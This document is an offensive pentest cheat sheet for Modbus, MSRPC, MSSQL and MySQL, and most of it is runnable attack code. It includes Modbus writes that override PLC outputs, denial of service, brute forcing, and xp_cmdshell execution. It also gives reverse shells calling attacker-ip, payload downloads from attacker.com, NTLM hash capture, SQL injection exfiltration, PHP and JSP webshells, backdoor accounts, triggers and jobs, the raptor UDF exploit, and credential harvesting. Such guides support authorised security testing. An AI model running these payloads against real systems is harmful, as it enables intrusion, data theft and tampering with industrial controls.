1.) MODBUS

Default Port: 502

Modbus is a communication protocol used extensively in industrial environments to facilitate communication between electronic devices. It allows control systems, such as PLCs (Programmable Logic Controllers), to communicate data over serial lines or TCP/IP networks.

Connect

To interact with a Modbus device, you must first establish a connection with Python.

```
from pymodbus.client.sync import ModbusTcpClient

client = ModbusTcpClient('192.168.1.100', port=502)
connection = client.connect()
if connection:
    print("Connected to Modbus device")
else:
    print("Failed to connect to Modbus device")
```

Recon

Network Scanning

You can use Nmap to identify Modbus-enabled devices within the network.

```
nmap -p 502 --open -sV <target-ip>
```

Packet Capture

Capture Modbus traffic for analysis.

```
# Using tcpdump to capture Modbus TCP traffic
sudo tcpdump -i eth0 dst port 502 -w modbus_traffic.pcap
```

Enumeration

Modbus Service Discovery

Discover available functions and gather information from Modbus servers.

```
# Nmap Modbus discovery script
nmap --script modbus-discover -p 502 <target-ip>
```

Read Discrete Inputs and Coils

Enumerates the state of inputs and coils to identify active digital inputs (sensors, switches) and outputs (relays, valves) in the system.

This is typically used as an initial reconnaissance step in security testing to understand the operational state of the PLC.

```
# Using pymodbus to read discrete inputs
response = client.read_discrete_inputs(0, 8, unit=1)
print(response.bits)

# Reading coils
response = client.read_coils(0, 8, unit=1)
print(response.bits)
```

Attack Vectors

Modbus Write Attack

Inject commands to manipulate values of coils or registers. Can alter the behavior of connected devices like relays and valves by setting values to ON/OFF states.

```
# Write to a single coil
client.write_coil(1, True, unit=1)

# Write to multiple coils
client.write_coils(0, [True] * 8, unit=1)
```

Denial of Service

```
# Use a tool like Metasploit:
msfconsole

# Within Metasploit
use auxiliary/dos/scada/modbusclient
set RHOSTS <target-ip>
set THREADS 10
exploit
```

Man in the Middle Attack

Interfere with communication between Modbus devices. Intercepts and monitors Modbus traffic by performing ARP spoofing between devices, allowing an attacker to capture, analyze or manipulate communications between a PLC and its control system.

```
# Ettercap for ARP spoofing
ettercap -T -Q -i eth0 -M arp:remote /<plc-ip>/ /<master-ip>/
```

Post-Exploitation

Persistent Control

Establish persistent control over Modbus devices via rogue commands by continuously sending control signals. This creates a loop that repeatedly forces specific outputs to remain in attacker-defined states, overriding normal system operations.

```
# Regularly send control commands to maintain influence
while True:
    client.write_coil(1, True, unit=1)
    sleep(5)
```

2.) MSRPC (Microsoft Remote Procedure Call)

Default Port: 135, 593

MSRPC (Microsoft Remote Procedure Call) is the modified version of DCE/RPC. It forms the basis of network-level service interoperability. MSRPC is the protocol standard for Windows processes that allows a program running on one host to execute a program on another host.

Connect

MSRPC services normally listen on ports 135 and 593; however, they can also run on other ports.

Netcat

You can check the connection with the netcat tool:

nc -vn <TARGET_IP> 135
nc -vn <TARGET_IP> 593

Enumeration

Using Nmap

nmap -p 135,593 --script=msrpc-enum <TARGET_IP>

RPC Client

Windows has an embedded tool for interacting with MSRPC called RPC client that you can use for enumeration.

rpcclient -U "" -N <TARGET_IP>
#empty username (-U "")
#no password (-N)

> serverinfo
> lsaenumsid
> netshareenumall

Identifying Exposed RPC Services

Exposure of RPC services can be determined by querying the RPC locator service and individual endpoints using tools such as rpcdump. This tool identifies unique RPC services, denoted by IFID values, providing service details and communication bindings.

rpcdump [-p port] <IP>

Tools such as Metasploit can also be used to audit and interact with MSRPC services, primarily focusing on port 135.

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

Among these options, all except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.

Attack Vectors

MSRPC has several interfaces that could be potentially exploited for gaining unauthorized access, remote command execution, enumerating users and domains, accessing public SAM database elements, remotely starting and stopping services, accessing and modifying the system registry, and more. These interfaces include:

- LSA interface (pipe\lsarpc)
- LSA Directory Services (DS) interface (pipe\lsarpc)
- LSA SAMR interface (pipe\samr)
- Server services and Service control manager interface (pipe\svcctl), (pipe\srvsvc)
- Remote registry service (pipe\winreg)
- Task scheduler (pipe\atsvc)
- DCOM interface (pipe\epmapper)

You can also use the IOXIDResolver interface to identify IPv4 and IPv6 addresses of systems on the network.

MSRPC DCOM

MSRPC DCOM is one of the most dangerous services on Windows systems due to the amount of control it can give an attacker. It should be disabled if not needed. MSRPC endpoints can be abused to execute arbitary code on a remote computer.

nmap -p 135 --script=msrpc-dcom-interface-activation <TARGET_IP>

3.) MSSQL (Microsoft SQL Server)

Default Port: 1433

Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. It's widely used in enterprise environments and integrates tightly with Windows infrastructure. MSSQL offers powerful features including stored procedures, xp_cmdshell for command execution, and extensive Windows authentication integration.

Connect

Using mssqlclient.py (Impacket)

```
# Windows authentication
mssqlclient.py DOMAIN/username:password@target.com

# SQL authentication
mssqlclient.py sa:password@target.com -windows-auth

# With specific database
mssqlclient.py username:password@target.com -db master

# Using hash (Pass-the-Hash)
mssqlclient.py username@target.com -hashes :NTHASH
```

Using sqsh

```
# Connect with SQL authentication
sqsh -S target.com -U sa -P password

# Connect with Windows authentication
sqsh -S target.com -U DOMAIN\\username -P password
```

Using sqlcmd (Windows)

```
# Local connection
sqlcmd -S localhost -U sa -P password

# Remote connection
sqlcmd -S target.com,1433 -U sa -P password

# Windows authentication
sqlcmd -S target.com -E

# Execute query directly
```

```
sqlcmd -S target.com -U sa -P password -Q "SELECT @@version"
```

Using DBeaver / SQL Server Management Studio (GUI)

Server: target.com
Port: 1433
Username: sa
Password: password
Authentication: SQL Server / Windows

Recon

Service Detection with Nmap

Use Nmap to detect MSSQL services and identify server capabilities.

```
nmap -p 1433 target.com
```

Banner Grabbing

Identify MSSQL server version and gather configuration details.

Using netcat

```
# Using netcat
nc -vn target.com 1433
```

Using nmap

```
# Using Nmap
nmap -p 1433 -sV --script-args mssql.instance-all target.com
```

Instance Discovery

Discover MSSQL instances using various methods.

Using nmap

```
# SQL Server Browser Service (UDP 1434)
nmap -sU -p 1434 --script ms-sql-discover target.com
```

Using PowerShell

```
# Using PowerShell
Get-SQLInstanceDomain
```

Using Metasploit

```
# Using Metasploit
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS target.com
run
```

Enumeration

Version Detection

Identifying the SQL Server version helps determine applicable exploits and security vulnerabilities.

```
# Get SQL Server version
SELECT @@version;

# Get product version
SELECT SERVERPROPERTY('ProductVersion');
SELECT SERVERPROPERTY('ProductLevel');
SELECT SERVERPROPERTY('Edition');

# Get machine name
SELECT @@SERVERNAME;
SELECT SERVERPROPERTY('MachineName');
```

Database Enumeration

Enumerating databases reveals the data landscape and helps identify high-value targets.

```
# List all databases
SELECT name FROM sys.databases;
SELECT name FROM master.dbo.sysdatabases;

# Current database
SELECT DB_NAME();

# Database information
SELECT name, database_id, create_date
FROM sys.databases;

# Database size
EXEC sp_helpdb;
```

User Enumeration

Understanding user accounts and their permissions is critical for privilege escalation.

```
# List all users
SELECT name FROM master.sys.server_principals;
SELECT name FROM sys.sysusers;

# Current user
SELECT USER_NAME();
SELECT SYSTEM_USER;
SELECT CURRENT_USER;

# User privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

# List sysadmin users
SELECT name FROM master.sys.server_principals
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;
```

Table and Column Enumeration

Extract table and column information from databases.

```
# List tables in current database
SELECT table_name FROM information_schema.tables;

# List all columns in a table
SELECT column_name, data_type
FROM information_schema.columns
WHERE table_name = 'users';

# Search for specific column names
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%password%';

# Count rows in tables
SELECT t.name, p.rows
FROM sys.tables t
INNER JOIN sys.partitions p ON t.object_id = p.object_id
WHERE p.index_id < 2;
```

Privilege Enumeration

Check user privileges and role memberships.

```
# Check if current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

# Check server roles
SELECT name FROM master.sys.server_principals
WHERE type = 'R';

# Current user permissions
EXEC sp_helprotect;

# Database role members
EXEC sp_helprolemember;
```

Linked Server Enumeration

Enumerate linked servers and test connections.

```
# List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

# Test linked server connection
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT @@version');

# Execute on linked server
EXEC ('SELECT @@version') AT [LinkedServerName];
```

Attack Vectors

Default Credentials

Test for common default MSSQL credentials.

```
# Common default credentials
sa:<blank>
sa:sa
sa:password
sa:Password123
sa:P@ssw0rd

# Try with mssqlclient
mssqlclient.py sa@target.com
mssqlclient.py sa:sa@target.com
mssqlclient.py sa:password@target.com
```

Brute Force Attack

Brute forcing MSSQL credentials can reveal weak passwords, especially on systems using SQL authentication.

Using Hydra

```
hydra -l sa -P /usr/share/wordlists/rockyou.txt target.com mssql
```

Using Metasploit

```
use auxiliary/scanner/mssql/mssql_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

Using Nmap

```
nmap -p 1433 --script ms-sql-brute \
  --script-args userdb=users.txt,passdb=passwords.txt target.com
```

Command Execution via xp_cmdshell

Execute operating system commands through MSSQL using xp_cmdshell.

Enabling xp_cmdshell

```
# Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

Command Execution

```
# Execute command
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'net user';

# Disable xp_cmdshell (for stealth)
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
```

Reading Files

Read files from the file system using various MSSQL methods.

Using OPENROWSET

```
# Read file using OPENROWSET
SELECT * FROM OPENROWSET(
  BULK 'C:\Windows\System32\drivers\etc\hosts',
  SINGLE_CLOB
) AS Contents;
```

Using xp_cmdshell and Extended Procedures

```
# Read file using xp_cmdshell
EXEC xp_cmdshell 'type C:\Windows\win.ini';

# Using xp_dirtree to list directories
EXEC master..xp_dirtree 'C:\', 1, 1;

# Using xp_fileexist to check file existence
EXEC master..xp_fileexist 'C:\Windows\win.ini';
```

Writing Files

Write files to the file system using various MSSQL methods.

Basic File Writing

```
# Write to file using xp_cmdshell
EXEC xp_cmdshell 'echo test > C:\Temp\test.txt';

# Copy file
EXEC xp_cmdshell 'copy C:\source.txt C:\dest.txt';
```

Advanced File Operations

```
# Download file from web
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -
OutFile C:\Temp\shell.exe"';

# Using BCP utility to export data
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout
"C:\users.txt" -c -T';
```

Capturing MSSQL Service Hash

Capture NTLM hashes by forcing MSSQL to authenticate to attacker-controlled SMB shares.

Setting Up Hash Capture

```
# Force MSSQL to authenticate to attacker's SMB share
# Start Responder on attacker machine
sudo responder -I eth0

# On MSSQL
EXEC xp_dirtree '\\attacker-ip\share';
EXEC xp_fileexist '\\attacker-ip\share\file';

# Or using xp_subdirs
EXEC master..xp_subdirs '\\attacker-ip\share';
```

Hash Cracking

```
# Capture NTLMv2 hash with Responder
# Crack with hashcat
hashcat -m 5600 hash.txt rockyou.txt
```

SQL Injection in MSSQL Context

Exploit SQL injection vulnerabilities in MSSQL applications.

Basic Injection Techniques

```
# Stacked queries (MSSQL allows multiple statements)
'; EXEC xp_cmdshell 'whoami'--

# Time-based blind injection
'; WAITFOR DELAY '00:00:05'--

# UNION injection
' UNION SELECT null, @@version--

# Error-based injection
' AND 1=CONVERT(int, @@version)--
```

Advanced Injection Techniques

```
# Out-of-band data exfiltration
'; DECLARE @data varchar(max);
  SELECT @data=name FROM master.sys.databases WHERE database_id=1;
```

```
EXEC('master..xp_dirtree "\\attacker.com\'+@data+'"')--
```

Privilege Escalation

Escalate privileges using various MSSQL techniques.

Impersonation Attacks

```
# Check for impersonation permissions
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

# Impersonate sysadmin user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

# Execute as different user
EXECUTE AS USER = 'admin_user';

# Revert to original context
REVERT;
```

TRUSTWORTHY Database Exploitation

```
# Using TRUSTWORTHY database
# If database is TRUSTWORTHY and you have db_owner
USE master;
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```

Linked Server Exploitation

Exploit linked servers for lateral movement and privilege escalation.

Basic Linked Server Commands

```
# Execute commands on linked server
EXEC ('EXEC xp_cmdshell "whoami"') AT [LinkedServer];
```

```
# Double hop to third server
EXEC ('EXEC ("EXEC xp_cmdshell ""whoami""") AT [Server3]') AT [Server2];
```

Advanced Linked Server Exploitation

```
# Privilege escalation via linked server
# If linked server uses higher privileges
EXEC ('EXEC sp_configure "xp_cmdshell",1; RECONFIGURE;') AT [LinkedServer];
EXEC ('EXEC xp_cmdshell "whoami"') AT [LinkedServer];

# RPC out enabled
EXEC sp_serveroption @server='LinkedServer', @optname='rpc out', @optvalue='TRUE';
```

Post-Exploitation

Password Hash Extraction

Extract and crack MSSQL password hashes.

Hash Extraction

```
# Extract password hashes (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;
```

Using Metasploit

```
# Using Metasploit
use auxiliary/scanner/mssql/mssql_hashdump
set RHOSTS target.com
set USERNAME sa
set PASSWORD password
run

# Crack MSSQL hashes
hashcat -m 1731 hashes.txt rockyou.txt
```

Persistence

Establish persistent access to MSSQL systems.

User Account Backdoors

```
# Create backdoor user with sysadmin
CREATE LOGIN backdoor WITH PASSWORD = 'P@ssw0rd123!';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';
```

Stored Procedure Backdoors

```
# Create stored procedure backdoor
CREATE PROCEDURE sp_backdoor
AS
EXEC xp_cmdshell 'powershell -enc <base64_payload>';

# SQL Server Agent job for persistence
USE msdb;
EXEC sp_add_job @job_name = 'Backdoor';
EXEC sp_add_jobstep @job_name = 'Backdoor',
  @step_name = 'Execute',
  @subsystem = 'CMDEXEC',
  @command = 'powershell -enc <base64_payload>';
EXEC sp_add_schedule @schedule_name = 'Daily',
  @freq_type = 4;
EXEC sp_attach_schedule @job_name = 'Backdoor',
  @schedule_name = 'Daily';
```

Reverse Shell

Establish reverse shell connections through MSSQL.

PowerShell Reverse Shell

```
# PowerShell reverse shell
EXEC xp_cmdshell 'powershell -c "$client = New-Object
System.Net.Sockets.TCPClient("attacker-ip",4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Lengt
h);$stream.Flush()};$client.Close()"';
```

Metasploit Payload Execution

```
# Using Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe
> shell.exe
# Upload via xp_cmdshell
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -
OutFile C:\Temp\shell.exe"';
EXEC xp_cmdshell 'C:\Temp\shell.exe';
```

 # Download and execute payload
EXEC xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\payload.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\payload.exe';

Data Exfiltration

Extract sensitive data from MSSQL databases.

Database Backup and Export

 # Export database to file
BACKUP DATABASE targetDB *TO DISK* = 'C:\Temp\backup.bak';

 # Copy to attacker's share (if accessible)
EXEC xp_cmdshell 'copy C:\Temp\backup.bak \\attacker-ip\share\backup.bak';

 # Export specific table
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:\users.txt" -c -T';

Advanced Exfiltration Techniques

 # Base64 encode and exfiltrate via DNS
 # (Requires custom scripting with xp_cmdshell and PowerShell)

Lateral Movement

Move laterally through the network using MSSQL access.

Domain Enumeration

 # Enumerate domain users
EXEC xp_cmdshell 'net user /domain';
EXEC xp_cmdshell 'net group "Domain Admins" /domain';

 # Enumerate shares
EXEC xp_cmdshell 'net view \\target-host';

Remote Execution

 # Execute on remote system
EXEC xp_cmdshell 'psexec \\target-host -u domain\admin -p password cmd.exe';

 # WMI lateral movement

EXEC xp_cmdshell 'wmic /node:target-host process call create "cmd.exe /c payload.exe"';

Common MSSQL Procedures

Procedure	Description	Requires Admin
xp_cmdshell	Execute OS commands	Yes
sp_configure	Configure server options	Yes
xp_dirtree	List directory contents	No
xp_fileexist	Check file existence	No
xp_subdirs	List subdirectories	No
sp_linkedservers	List linked servers	No
sp_addlinkedsrvlogin	Add linked server login	Yes
OPENROWSET	Query remote data source	Varies
BULK INSERT	Import data from file	Varies

Common MSSQL System Databases

Database	Description	Important Tables
master	System configuration	sys.databases, sys.server_principals
model	Template for new databases	N/A
msdb	SQL Server Agent data	sysjobs, sysschedules

Database	Description	Important Tables
tempdb	Temporary objects	N/A

Useful Tools

Tool	Description	Primary Use Case
mssqlclient.py	Impacket MSSQL client	Command-line interaction
SQL Server Management Studio	GUI client	Full management
DBeaver	Universal database tool	Cross-platform GUI
SQLmap	SQL injection tool	Automated exploitation
PowerUpSQL	PowerShell MSSQL toolkit	Enumeration and exploitation
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Various MSSQL modules

Security Misconfigurations to Test

- ❌ Default sa account with weak password
- ❌ xp_cmdshell enabled
- ❌ Excessive user permissions
- ❌ TRUSTWORTHY database property enabled
- ❌ Weak authentication (SQL instead of Windows)
- ❌ Impersonation permissions granted
- ❌ Linked servers with high privileges

- ❌ Unencrypted connections
- ❌ Outdated SQL Server version
- ❌ SQL Server Browser service enabled

4.) MySQL

Default Port: 3306

MySQL is an open source relational database management system (RDBMS) widely used worldwide. Databases are used to store and manage interrelated data. MySQL is a preferred solution in many areas such as web-based applications, data storage, e-commerce, and log records. SQL (Structured Query Language) is the language MySQL uses to communicate with the database.

Connect

Using mysql Client

```
# Local connection (no password)
mysql -u root

# Local connection with password
mysql -u username -p

# Connect to specific database
mysql -u username -p database_name

# Remote connection
mysql -u username -h target.com -P 3306 -p

# Connect and execute query
mysql -u username -p -e "SELECT @@version;"

# Connect without database selection
mysql -u username -h target.com -p --skip-database
```

Using mysqldump

```
# Dump specific database
mysqldump -u username -p database_name > backup.sql

# Dump all databases
mysqldump -u username -p --all-databases > all_databases.sql

# Dump specific table
mysqldump -u username -p database_name table_name > table.sql

# Remote dump
```

mysqldump -u username -h target.com -p database_name > remote_backup.sql

Connection URL Format

mysql://username:password@hostname:port/database_name
mysql://root:password@target.com:3306/app_db

Recon

Service Detection with Nmap

Use Nmap to detect MySQL services and identify server capabilities.

nmap -p 3306 target.com

Banner Grabbing

Identify MySQL server version and gather configuration details.

Using netcat

 # Using netcat
nc -vn target.com 3306

Using nmap

 # Using nmap
nmap -p 3306 -sV target.com

Using telnet

 # Using telnet
telnet target.com 3306

Enumeration

Version Detection

Once connected to the MySQL server, you can gather version information using built-in SQL functions.

 # MySQL version
SELECT @@version;
SELECT VERSION();

 # Server information

```
SELECT @@version_compile_os;
SELECT @@version_compile_machine;

# Detailed version info
SHOW VARIABLES LIKE "%version%";
```

Database Enumeration

Enumerating databases helps you understand the structure and identify interesting targets for further exploitation.

```
# List all databases
SHOW DATABASES;
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

# Current database
SELECT DATABASE();

# Database size
SELECT
  table_schema AS 'Database',
  ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)'
FROM information_schema.TABLES
GROUP BY table_schema;
```

User Enumeration

Understanding user accounts and their privileges is essential for privilege escalation and lateral movement:

```
# List MySQL users
SELECT user, host FROM mysql.user;

# Current user
SELECT USER();
SELECT CURRENT_USER();

# User privileges
SHOW GRANTS;
SHOW GRANTS FOR 'username'@'host';

# List users with FILE privilege
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';
```

```
# List users with SUPER privilege
SELECT user, host FROM mysql.user WHERE Super_priv = 'Y';
```

Table and Column Enumeration

Discovering tables and columns is crucial for identifying where sensitive data is stored:

```
# List tables in current database
SHOW TABLES;
SELECT table_name FROM information_schema.TABLES WHERE
table_schema=DATABASE();

# List columns in specific table
SHOW COLUMNS FROM table_name;
SELECT column_name, data_type FROM information_schema.COLUMNS WHERE
table_name='users';

# Find sensitive columns
SELECT table_name, column_name FROM information_schema.COLUMNS
WHERE column_name LIKE '%password%'
  OR column_name LIKE '%pass%'
  OR column_name LIKE '%pwd%'
  OR column_name LIKE '%secret%'
  OR column_name LIKE '%token%';

# Count rows in tables
SELECT table_name, table_rows FROM information_schema.TABLES
WHERE table_schema = DATABASE();
```

Privilege Enumeration

Checking user privileges helps identify potential attack vectors and exploitation opportunities:

```
# Check FILE privilege (for LOAD_FILE/INTO OUTFILE)
SELECT file_priv FROM mysql.user WHERE user='current_user';

# Check for dangerous privileges
SELECT user, host, Select_priv, Insert_priv, Update_priv, Delete_priv,
    Create_priv, Drop_priv, File_priv, Super_priv
FROM mysql.user;

# Current user permissions
SELECT * FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE
```

'%username%';

Configuration Enumeration

Understanding the server configuration can reveal security weaknesses and exploitation opportunities:

```
# Important variables
SHOW VARIABLES;
SHOW VARIABLES LIKE 'secure_file_priv';  # File operations directory
SHOW VARIABLES LIKE 'plugin_dir';        # Plugin directory
SHOW VARIABLES LIKE 'datadir';           # Data directory
SHOW VARIABLES LIKE 'basedir';           # Base directory

# Check if local_infile enabled
SHOW VARIABLES LIKE 'local_infile';

# Process list
SHOW PROCESSLIST;
```

Metasploit Modules

Metasploit provides various modules for automated MySQL assessment, from version detection to credential dumping:

Detect MySQL Version

```
use auxiliary/scanner/mysql/mysql_version
set RHOSTS target.com
run
```

Enumerate Users and Privileges

```
use auxiliary/admin/mysql/mysql_enum
set RHOSTS target.com
set USERNAME root
set PASSWORD password
run
```

Dump Database Schema

```
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS target.com
set USERNAME root
set PASSWORD password
```

run

Extract Password Hashes

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS target.com
set USERNAME root
set PASSWORD password
run

Brute Force Credentials

use auxiliary/scanner/mysql/mysql_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

Attack Vectors

Default Credentials

MySQL databases may come with default or well-known accounts that lack strong passwords. Identifying and testing these accounts can provide an initial foothold without resorting to aggressive hacking techniques.

mysql -u root -p

#enter default or guessable password

Common Credentials

If anonymous login is disabled on the MySQL server, trying common usernames and passwords like admin, administrator , root , user, or test can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

mysql -u <username> -p

#provide a common username
#provide a common password

Bruteforcing Credentials

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like MySQL, HTTP, SMB, etc. For MySQL, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra

To use Hydra for brute-forcing MySQL login credentials, you would use a command structured for this purpose:

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] mysql://X.X.X.X

Bruteforcing with Nmap

It is also possible to perform brute force on MySQL with Nmap scripts:

nmap -p 3306 --script mysql-brute X.X.X.X

Bruteforcing with Metasploit

It is also possible to apply brute force with Metasploit modules on MySQL:

```
use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > set rhosts X.X.X.X
msf auxiliary(scanner/mysql/mysql_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/mysql/mysql_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/mysql/mysql_login) > set stop_on_success true
msf auxiliary(scanner/mysql/mysql_login) > exploit
```

Post-Exploitation

File Operations

MySQL's file operations allow reading and writing files on the server filesystem when FILE privilege is granted:

Read Files from Server

```
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('C:\\Windows\\win.ini');

# Read file with hex encoding (bypasses binary issues)
SELECT HEX(LOAD_FILE('/etc/passwd'));
```

Write Files to Server

SELECT '<?php system($_GET["cmd"]); ?>' *INTO OUTFILE* '/var/www/html/shell.php';
SELECT 'backdoor content' *INTO OUTFILE* '/tmp/backdoor.txt';

Check File Operation Restrictions

SHOW VARIABLES LIKE 'secure_file_priv';

User Defined Functions (UDF) for RCE

 # Create malicious UDF library
 # First, create the UDF shared library (compiled C code)
 # Then load it into MySQL

 # Upload UDF library using INTO DUMPFILE
SELECT 0x[hex_encoded_library] *INTO DUMPFILE*
'/usr/lib/mysql/plugin/udf_sys_exec.so';

 # Create function
CREATE FUNCTION sys_exec *RETURNS int SONAME* 'udf_sys_exec.so';

 # Execute commands
SELECT sys_exec('whoami');
SELECT sys_exec('id');
SELECT sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');

 # Alternative: sys_eval to get output
CREATE FUNCTION sys_eval *RETURNS* string *SONAME* 'udf_sys_exec.so';
SELECT sys_eval('cat /etc/passwd');

Webshell Upload

 # PHP webshell
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

 # Access: http://target.com/shell.php?cmd=whoami

 # More sophisticated webshell
SELECT '<?php
if(isset($_REQUEST["cmd"])){
  $cmd = $_REQUEST["cmd"];
  echo "<pre>";

```
    $result = shell_exec($cmd);
    echo $result;
    echo "</pre>";
}
?>' INTO OUTFILE '/var/www/html/advanced-shell.php';

# JSP webshell (if applicable)
SELECT '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'
INTO OUTFILE '/var/www/html/shell.jsp';
```

Privilege Escalation

```
# Create new admin user
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'P@ssw0rd123!';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;

# Modify existing user password
UPDATE mysql.user SET password=PASSWORD('newpassword') WHERE user='root';
FLUSH PRIVILEGES;

# Grant FILE privilege to user
GRANT FILE ON *.* TO 'username'@'localhost';
FLUSH PRIVILEGES;
```

Password Hash Extraction

```
# Extract password hashes (MySQL < 5.7)
SELECT user, password FROM mysql.user;

# Extract password hashes (MySQL >= 5.7)
SELECT user, authentication_string FROM mysql.user;

# Specific user hash
SELECT authentication_string FROM mysql.user WHERE user='root';

# Export hashes to file
SELECT user, authentication_string FROM mysql.user
INTO OUTFILE '/tmp/hashes.txt';
```

Hash Cracking

```
# Extract hashes
mysql -u root -p -e "SELECT CONCAT(user, ':', authentication_string) FROM mysql.user" >
mysql_hashes.txt

# Crack with hashcat (MySQL 4.1/MySQL 5+)
hashcat -m 300 mysql_hashes.txt rockyou.txt

# Crack with John the Ripper
john --format=mysql-sha1 mysql_hashes.txt

# Old MySQL (pre-4.1)
hashcat -m 200 old_mysql_hash.txt rockyou.txt
```

Data Exfiltration

```
# Extract sensitive data
SELECT * FROM users WHERE role='admin';
SELECT username, password, email FROM accounts;
SELECT * FROM credit_cards;
SELECT * FROM personal_information;

# Export database to file
SELECT * FROM sensitive_table
INTO OUTFILE '/tmp/exfiltrated_data.csv'
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\n';

# Concatenate and export
SELECT CONCAT(username, ':', password) FROM users
INTO OUTFILE '/tmp/credentials.txt';
```

Persistence

```
# Create backdoor user
CREATE USER 'support'@'%' IDENTIFIED BY 'SupportP@ss123!';
GRANT ALL PRIVILEGES ON *.* TO 'support'@'%';
FLUSH PRIVILEGES;

# Create stored procedure backdoor
DELIMITER //
CREATE PROCEDURE backdoor()
BEGIN
```

```
DECLARE cmd CHAR(255);
DECLARE result TEXT;
SET cmd = 'whoami';
SET result = sys_eval(cmd);
SELECT result;
END //
DELIMITER ;

# Call backdoor
CALL backdoor();

# Create trigger for persistence
CREATE TRIGGER backdoor_trigger
AFTER INSERT ON some_table
FOR EACH ROW
BEGIN
-- Malicious action here
DECLARE result TEXT;
SET result = sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');
END;
```

Credential Harvesting from Files

```
# Debian MySQL maintenance user
cat /etc/mysql/debian.cnf

# MySQL configuration files
cat /etc/mysql/my.cnf
cat /etc/my.cnf
cat ~/.my.cnf

# Extract hashes from data directory
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD

# MySQL history (may contain passwords)
cat ~/.mysql_history

# Application config files
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat /var/www/html/.env
```

Lateral Movement

```
# Enumerate network from MySQL
# If UDF is available
SELECT sys_exec('ping -c 1 192.168.1.1');
SELECT sys_exec('nmap -sn 192.168.1.0/24');

# Access other databases if credentials are reused
mysql -h another-host.com -u root -p

# Use extracted credentials on other services
# SSH, RDP, FTP with same credentials
```

Raptor UDF Exploit

```
# For Linux systems
# Compile raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

# Load into MySQL
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/path/to/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select do_system('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');
```

